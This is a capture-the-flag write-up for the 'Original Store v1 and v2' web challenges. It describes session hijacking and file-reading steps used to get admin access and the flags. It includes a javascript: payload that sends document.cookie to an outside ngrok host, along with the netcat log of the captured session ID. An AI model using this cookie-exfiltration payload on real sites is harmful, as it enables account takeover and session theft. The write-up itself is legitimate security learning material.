search
Home

Web - Original Store v1 and v2

Date: 10, June, 2021

Author: Dhilip Sanjay S

hashtag
Original Store - Solution 1

hashtag
Account.php

  • Create an account.

  • Login using that credentials.

  • Click on the profile icon, the account.php page will be loaded.

  • It has a PHPSESSID

  • If we change this cookie value to admin's cookie, then we can access the flag.

hashtag
Using javascript scheme

  • Using the javascript, the PHP cookie can be fetched:

javascript:(fetch("http://683b6a41c9a9.ngrok.io?c="+document.cookie))

  • The response:

$ nc -lvnp 1234
listening on [any] 1234 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 49964
GET /?c=PHPSESSID=bn3nijo3ded9hfnlei5ikhccse HTTP/1.1
Host: 683b6a41c9a9.ngrok.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Origin: http://localhost
Referer: http://localhost/
X-Forwarded-For: 35.244.38.232
X-Forwarded-Proto: http

hashtag
Change PHPSESSID

  • Change the PHPSESSID to login as admin and then visit account.php:

Original Store - Flag

hashtag
Original Store - Solution 2

  • There was directory listing enabled.

  • The /api/ folder had three versions v1, v2 and v3.

  • All of them had authorize.php file.

  • We can read the contents of api/v1/authorize.php to get admin password:

  • The response:

hashtag
Original Store - Solution 3

  • Read the contents of account.php:

  • The response:

  • URL decode the response to get the flag!

hashtag
Original Store v2 - Solution 1

  • We can read the contents of api/v1/authorize.php to get admin password:

  • The response:

Original Store v2 - Flag

hashtag
Original Store v2 - Solution 2

  • Read the contents of account.php:

  • The response:

  • URL decode the response to get the flag!

PreviousWeb - Baby SSRFNextWeb - strpos and substr

Last updated